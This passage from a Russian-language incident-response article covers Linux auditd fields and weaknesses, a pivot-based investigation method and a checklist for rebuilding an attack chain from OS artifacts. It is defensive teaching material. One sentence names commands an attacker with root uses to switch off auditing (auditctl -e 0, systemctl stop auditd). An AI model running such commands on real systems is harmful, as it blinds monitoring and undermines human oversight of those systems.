pidиppid— идентификаторы процесса и родительского процесса (позволяет построить дерево запуска).uidиeuid— текущий и эффективный идентификатор пользователя.auid(Audit UID / Login UID) — исходный идентификатор учетной записи, вошедшей в систему. Даже если атакующий вошел какsupport(UID 1001), а затем повысил привилегии доrootчерезsudo su, значениеauidостанется равным1001.type=EXECVE. Раскрывает точные фактические аргументы команды (a0,a1,a2...). Если аргументы содержат пробелы или спецсимволы, auditd кодирует их в HEX‑формат (декодируются утилитойausearch -i).type=CWD. Указывает рабочий каталог, из которого был инициирован вызов (критично для поиска дроперов и локализации веб‑шеллов).
auid=4294967295 (или unset / -1). Для аналитика это прямой маркер выполнения команды не человеком, а службой.В чем проблема auditd на практике:
- Бесполезность «из коробки». Конфигурация по умолчанию регистрирует только системные события (вход, модификация учетных записей). Без явного добавления правил мониторинга
execve/execveat(для обеих архитектур:-F arch=b64и-F arch=b32) запуск команд в логи вообще не попадает. - Высокая нагрузка на диск (I/O) и затирание логов. Трассировка
execveгенерирует большой объем данных. При интенсивной сборке ПО или запуске частых скриптов ротация за несколько часов затирает старые логи (/var/log/audit/audit.log), уничтожая следы закрепления атакующего. - Отсутствие в легковесных средах. В подавляющем большинстве Docker‑контейнеров и минимальных образов ОС (Minimal / Cloud Images) auditd не установлен из‑за экономии ресурсов.
- Легкость отключения при наличии root. Если правила не переведены в неизменяемый режим (параметр
-e 2, запрещающий любые правки до полной перезагрузки ОС), злоумышленник с привилегированными правами моментально ослепляет аудит командамиauditctl -e 0илиsystemctl stop auditd.
Аналитический метод исследования
Сбор десятков гигабайтов триажа и сотен тысяч строк логов сам по себе не помогает разобраться в инциденте. Основная сложность расследования кроется не в дефиците данных, а в умении соединить изолированные события Windows и Linux в единую причинно‑следственную цепь. Для этого используют аналитический метод исследования — методологию направленного поиска, при которой каждый подтвержденный артефакт становится опорной точкой для формулирования следующей гипотезы.
Расследование ведется последовательно. Аналитик находит зацепку, извлекает из нее связанный идентификатор (хеш, сетевой порт, идентификатор процесса, SID пользователя) и переходит к другому источнику данных, который до этого казался не связанным с атакой.
- Хеш → масштаб → вектор доставки. После извлечения SHA-1 файла из
Amcache.hveможно выполнить ретроспективный поиск по всей инфраструктуре через SIEM и оценить масштаб компрометации. Время появления записи в $MFT помогает восстановить способ доставки файла: загрузка через фишинг, распаковка из архива или доставка через уязвимость. - Сетевой IoC → DNS‑кеш → процесс → родитель. От обнаруженного подозрительного внешнего IP‑адреса через DNS‑кеш можно перейти к локальному PID процесса. Затем через Prefetch или журналы событий определить родительский процесс и установить контекст: скрипт администратора, макрос в офисном документе или процесс веб‑сервера.
- Учетная запись → сессии → горизонтальное перемещение. Выявив скомпрометированную учетную запись, следует проверить билеты Kerberos (события TGS 4769), профили RDP‑подключений и SSH‑сессии, локализуя все узлы корпоративной сети, на которые успел перейти атакующий.
Чек‑лист для восстановления цепочки атаки
- Зафиксировать точку отсчета. Определить первичное аномальное событие: срабатывание правила SIEM или EDR, подозрительный процесс или иной индикатор.
- Задать первичное окно расследования. Проанализировать события на хосте за 15–30 минут до и после выявленной подозрительной активности.
- Восстановить вектор первоначального доступа (initial access). По истории браузера, LNK‑файлам, $MFT, ShellBags выяснить источник попадания злоумышленника на хост.
- Доказать факт и способ выполнения (execution). Подтвердить запуск исполняемого файла и восстановить параметры командной строки через Prefetch / Amcache / Event ID 4688 (в Windows), 1 (Sysmon) или auditd /
/proc(в Linux). - Проверить закрепление (Persistence). В Windows исследовать ветки реестра
Run, новые службы, а в Linux — таймеры systemd, cron и authorized_keys. - Выявить внешние связи и передвижение атакующего внутри сети (C2 / lateral movement). Исследовать сетевые соединения, журналы RDP/SSH и Kerberos. Обнаружив аутентификации на соседнем хосте, изолировать текущий узел и снять триаж с целевого.
Заключение
В реальных расследованиях SOC редко работает в идеальных условиях: часть хостов не покрыта мониторингом, политики аудита настроены по умолчанию, а атакующие используют штатные утилиты и заметают следы. В таких ситуациях данных SIEM недостаточно, и восстановить цепочку атаки помогают артефакты операционной системы. Они формируются независимо от настроек аудита и сохраняются даже после удаления файлов.
Разобранный кейс показывает главное: ни один артефакт не дает полной картины, но вместе они закрывают слепые зоны друг друга:
- Prefetch подтвердил факт запуска, но не показал аргументы.
- $MFT выявил timestomping, но не показал динамику событий.
- $UsnJrnl восстановил жизненный цикл файла вплоть до удаления.
- Amcache вернул SHA-1 уже удаленного файла.
- Реестр подтвердил закрепление.
- Журнал PowerShell (4104) объяснил все найденные аномалии и раскрыл C2‑адрес.
Для Linux логика та же, но опираться приходится на разрозненные источники (/proc, метаданные inode, systemd, cron, authorized_keys, auditd), а .bash_history нельзя считать надежным доказательством.
Что стоит сделать до инцидента:
- Включить недостающую телеметрию. Script Block Logging (4104), аудит создания процессов (4688 или Sysmon), правила auditd для
execve/execveatна Linux. Эти данные нельзя собрать задним числом. - Отработать триаж заранее. Подготовить KAPE, UAC или BI.ZONE Triage, проверить права доступа и скорость сбора на тестовом хосте, а не во время инцидента.
- Закрепить методологию. Каждый найденный артефакт (хеш, IP‑адрес, PID, учетная запись) должен становиться отправной точкой для следующей гипотезы и нового источника данных.
- Использовать найденные IoC. Хеш из Amcache и сетевые индикаторы из 4104 стоит сразу искать по всей инфраструктуре через SIEM, чтобы оценить масштаб компрометации.
SIEM показывает, что инцидент произошел, а артефакты ОС объясняют, как именно это случилось. Команда, которая умеет работать с обоими источниками и готовит условия для анализа заранее, расследует инциденты быстрее и надежнее.